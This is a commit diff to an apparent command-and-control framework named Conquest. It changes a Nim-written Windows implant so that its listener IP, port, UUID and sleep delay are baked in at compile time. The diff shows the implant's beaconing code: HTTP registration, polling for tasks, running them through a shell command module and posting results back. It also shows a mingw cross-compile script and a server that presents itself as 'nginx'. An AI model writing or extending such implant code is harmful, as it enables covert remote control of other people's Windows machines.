Agent utilizes configuration file (nim.cfg) and compile-time variables for listener information.

.gitignore

@@ -2,8 +2,7 @@
 # agents/
 *.db
 # Ignore binaries
-*/bin/*
+bin/*
-server/server
 *.exe
 
 # Nim

agents/monarch/build.sh

@@ -1,3 +1,4 @@
 #!/bin/bash
 
-nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
+CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
+nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" c $CONQUEST_ROOT/agents/monarch/client.nim

agents/monarch/client.nim

@@ -4,6 +4,11 @@ import winim
 import ./[types, http, task]
 import commands/shell
 
+const ListenerUuid {.strdefine.}: string = ""
+const ListenerIp {.strdefine.}: string = ""
+const ListenerPort {.intdefine.}: int = 5555
+const SleepDelay {.intdefine.}: int = 10
+
 proc main() = 
 
     #[
@@ -14,10 +19,21 @@ proc main() =
         4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
     ]#  
 
-    # TODO: Read data from configuration file
+    # The agent configuration is read at compile time using define/-d statements in nim.cfg
+    # This configuration file can be dynamically generated from the teamserver management interface
+    # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
+    when not defined(ListenerUuid) or not defined(ListenerIp) or not defined(ListenerPort) or not defined(SleepDelay):
+        echo "Missing agent configuration."
+        quit(0)
 
-    let listener = "HVVOGEOM"
+    let config = AgentConfig(
-    let agent = register(listener)
+        listener: ListenerUuid,
+        ip: ListenerIp, 
+        port: ListenerPort, 
+        sleep: SleepDelay
+    )
+
+    let agent = config.register()
     echo fmt"[+] [{agent}] Agent registered."
 
     #[
@@ -30,13 +46,13 @@ proc main() =
     ]#
     while true: 
 
-        sleep(10 * 1000)
+        sleep(config.sleep * 1000)
 
         let date: string = now().format("dd-MM-yyyy HH:mm:ss")
         echo fmt"[{date}] Checking in."
 
         # Retrieve task queue from the teamserver for the current agent
-        let tasks: seq[Task] = getTasks(listener, agent)
+        let tasks: seq[Task] = config.getTasks(agent)
 
         if tasks.len <= 0: 
             echo "[*] No tasks to execute."
@@ -45,7 +61,7 @@ proc main() =
         # Execute all retrieved tasks and return their output to the server
         for task in tasks: 
             let result = task.handleTask()
-            discard postResults(listener, agent, result)
+            discard config.postResults(agent, result)
             
 when isMainModule: 
     main() 

agents/monarch/http.nim

@@ -2,7 +2,7 @@ import httpclient, json, strformat, asyncdispatch
 
 import ./[types, agentinfo]
 
-proc register*(listener: string): string = 
+proc register*(config: AgentConfig): string = 
 
     let client = newAsyncHttpClient()
 
@@ -24,20 +24,20 @@ proc register*(listener: string): string =
 
     try:
         # Register agent to the Conquest server
-        return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
+        return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
     except CatchableError as err:
         echo "[-] [register]:", err.msg
         quit(0)
     finally:
         client.close()
 
-proc getTasks*(listener: string, agent: string): seq[Task] = 
+proc getTasks*(config: AgentConfig, agent: string): seq[Task] = 
 
     let client = newAsyncHttpClient()
 
     try:
         # Register agent to the Conquest server
-        let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
+        let responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
         return parseJson(responseBody).to(seq[Task])
 
     except CatchableError as err:
@@ -48,7 +48,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
 
     return @[]
 
-proc postResults*(listener, agent: string, task: Task): bool = 
+proc postResults*(config: AgentConfig, agent: string, task: Task): bool = 
     
     let client = newAsyncHttpClient()
 
@@ -61,7 +61,7 @@ proc postResults*(listener, agent: string, task: Task): bool =
 
     try:
         # Register agent to the Conquest server
-        discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
+        discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{task.id}/results", $taskJson)
     except CatchableError as err:
         # When the listener is not reachable, don't kill the application, but check in at the next time
         echo "[-] [postResults]: ", err.msg

agents/monarch/nim.cfg

@@ -0,0 +1,5 @@
+# Agent configuration 
+-d:ListenerUuid="HVVOGEOM"
+-d:ListenerIp="localhost"
+-d:ListenerPort=5555
+-d:SleepDelay=10

agents/monarch/types.nim

@@ -46,3 +46,9 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
   wProductType*: UCHAR
   wReserved*: UCHAR
 
+type 
+    AgentConfig* = object 
+        listener*: string 
+        ip*: string 
+        port*: int 
+        sleep*: int 

server/nim.cfg

@@ -1,4 +1,4 @@
 # Compiler flags
 --threads:on
 -d:httpxServerName="nginx"
-#--outdir:"../bin"
+--outdir:"../bin"

server/server.nim

@@ -125,7 +125,8 @@ proc main() =
     setControlCHook(exit)
 
     # Initialize framework
-    cq = initConquest() 
+    let dbPath: string = "../server/db/conquest.db"
+    cq = initConquest(dbPath) 
 
     # Print header
     cq.header()

server/types.nim

@@ -135,11 +135,11 @@ proc delListener*(cq: Conquest, listenerName: string) =
 proc delAgent*(cq: Conquest, agentName: string) = 
     cq.agents.del(agentName)
 
-proc initConquest*(): Conquest = 
+proc initConquest*(dbPath: string): Conquest = 
     var cq = new Conquest
     var prompt = Prompt.init()
     cq.prompt = prompt
-    cq.dbPath = "db/conquest.db"
+    cq.dbPath = dbPath
     cq.listeners = initTable[string, Listener]()
     cq.agents = initTable[string, Agent]() 
     cq.interactAgent = nil